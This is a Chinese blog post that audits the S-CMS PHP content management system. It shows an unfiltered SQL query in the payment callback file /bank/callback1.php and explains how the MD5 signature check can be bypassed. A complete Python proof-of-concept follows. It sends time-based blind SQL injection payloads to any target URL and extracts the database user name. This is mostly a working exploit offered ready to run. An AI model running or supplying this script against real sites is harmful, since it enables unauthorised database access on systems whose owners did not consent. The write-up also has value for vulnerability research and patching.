代码审计之s-cms sql注入

作者: 身自在 | 来源:发表于2018-09-26 21:12 被阅读1次

官网 https://www.s-cms.cn/
s-cms有两个版本,一个是asp+access\mssql版本,一个是php+mysql版本。两者除了语言本身的差异外,没有其他的差异。
这里以php版本为例子。
下载地址 https://shanlingtest.oss-cn-shenzhen.aliyuncs.com/file/2.mall.php.zip

问题出在/bank中的几个callback文件,以callback1.php为例:


image.png

第36行拼接的sql语句没有任何过滤:
$sql="select * from SL_list where L_no like '".$P_no."'";
那么整个程序的逻辑就是
整个数据的执行流程是

$json_string=file_get_contents("php://input");
$obj=json_decode($json_string);
$P_no = $obj->P_no;
$sql="select * from SL_list where L_no like '".$P_no."'";

执行sql语句有个前提条件:
if(strtolower(MD5("P_address=".$P_address."&P_attach=".$P_attach."&P_city=".$P_city."$xxxxx)))==strtolower($sign))
左边是我们提交的json值的数据的md5值,右边是$sign,$sign =$obj->sign;
即$sign也可控,也就是说提交的json值只需要满足sign=md5('P_address=xxx&P_attach=xxx+....')即可
为了方便看提交参数的md5值,改了下服务端代码,将其echo出来(加密是可以自己实现的,这里是为了方便看,后面有完整的poc)

image.png
成功之后会返回success,代表已经执行了下面的sql
select * from SL_list where L_no like '1' and sleep(5)#';
讲道理这样就行了,但是在实际测试过程中并没有等待,研究了下是因为sql语句中,当前面查询的是个空表的时候,and后面的语句不会执行。
image.png
由于后面还有正常的inset操作,所以我们只需要传几个类型正确的参数过去让其插入一条语句即可,这样就可以继续盲注了。
image.png
注意一些参数是数值型,一些是字符。

附poc:

import json
import hashlib
import requests
import time
import sys

def md5(value): 
    m= hashlib.md5()
    m.update(value)
    return m.hexdigest()


def gen_data(P_no):
    value="P_address=aaa&P_attach=111&P_city=aaa&P_country=aaa&P_email=aaa&P_mobile=aaa&P_money=22222&P_name=aaaaa&P_no=%s&P_num=aaa&P_postcode=aaaa&P_price=aaaaaa&P_province=aaaa&P_qq=11111&P_remarks=22222&P_state=3333&P_time=4444&P_title=55555&P_type=666&P_url=7777&pkey=" %P_no
    data={
    "P_address":"aaa",
    "P_attach":"111",
    "P_city":"aaa",
    "P_country":"aaa",
    "P_email":"aaa",
    "P_mobile":"aaa",
    "P_money":"22222",
    "P_name":"aaaaa",
    "P_no":P_no,
    "P_num":"aaa",
    "P_postcode":"aaaa",
    "P_price":"aaaaaa",
    "P_province":"aaaa",
    "P_qq":"11111",
    "P_remarks":"22222",
    "P_state":"3333",
    "P_time":"4444",
    "P_title":"55555",
    "P_type":"666",
    "P_url":"7777",
    "sign":md5(value)
    }
    return data

def veriy():
    url=sys.argv[1]+'/bank/callback1.php'
    current_time=time.time()
    r1=requests.post(url=url,data=json.dumps(gen_data("1")),headers = {'Content-Type': 'application/json'})
    r=requests.post(url=url,data=json.dumps(gen_data("1' and sleep(5)#")),headers = {'Content-Type': 'application/json'})
    if time.time()-current_time>5 and 'success' in r.content:
        print '[*] vulunerbal'
        return True


if veriy(): 
    user=''
    for x in xrange(1,30):
        url=sys.argv[1]+'/bank/callback1.php'
        current_time=time.time()
        r=requests.post(url=url,data=json.dumps(gen_data("1' and if(length(user())=%s,sleep(5),1)#" %x)),headers = {'Content-Type': 'application/json'})
        if time.time()-current_time>5 and 'success' in r.content:
            print '[*] user() length: %s' %x
            for y in xrange(1,x+1):
                for z in xrange(33,122):
                    current_time=time.time()
                    r=requests.post(url=url,data=json.dumps(gen_data("1' and if(ascii(substring(user(),%s,1))=%s,sleep(5),1)#" %(y,z))),headers = {'Content-Type': 'application/json'})
                    if time.time()-current_time>5 and 'success' in r.content:
                        print chr(z)
                        user+=chr(z)
    print '[*]user():',user 

poc结果:


image.png

相关文章

  • 代码审计之s-cms sql注入

    官网 https://www.s-cms.cn/s-cms有两个版本,一个是asp+access\mssql版本,...

  • 【代码审计】SQL 注入

    0x01 JDBC 拼接不当造成 SQL 注入 JDBC 有两种方法执行 SQL 语句,分别为 PrepareSt...

  • 小迪16期-20170403

    第七天:二次注入原理及演示(代码审计意义很大) 二次注入代码审计解析 盲注攻击 sleep if sql语句 1....

  • PHP代码安全之SQL注入

    PHP代码安全之SQL注入 1、什么是SQL注入? SQL攻击(英语:SQL injection),简称注入攻击,...

  • 代码审计基础之SQL注入漏洞

    1.SQL注入原理 SQL注入就是攻击者通过把恶意的SQL语句插入到Web表单的输入页面中,且插入的恶意语句会导致...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 网络安全之SQL注入深入分析

    0x00 前言 我们知道代码审计Java的SQL注入主要有两点:参数可控和SQL语句可拼接(没有预编译)。并且我们...

  • php代码审计-sql注入初级篇

    概述 代码审计顾名思义就是检查源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞,并提供代码修订措施和建议...

  • Mybatis如何防止SQL注入

    Mybatis如何防止SQL注入 什么是SQL注入 sql注入是一种代码注入技术,将恶意的sql插入到被执行的字段...

  • SQL注入

    1 .什么是sql注入(Sql injection)? Sql注入是一种将sql代码添加到输入参数中,传递到Sql...

网友评论

    本文标题:代码审计之s-cms sql注入

    本文链接:https://www.haomeiwen.com/subject/nopjoftx.html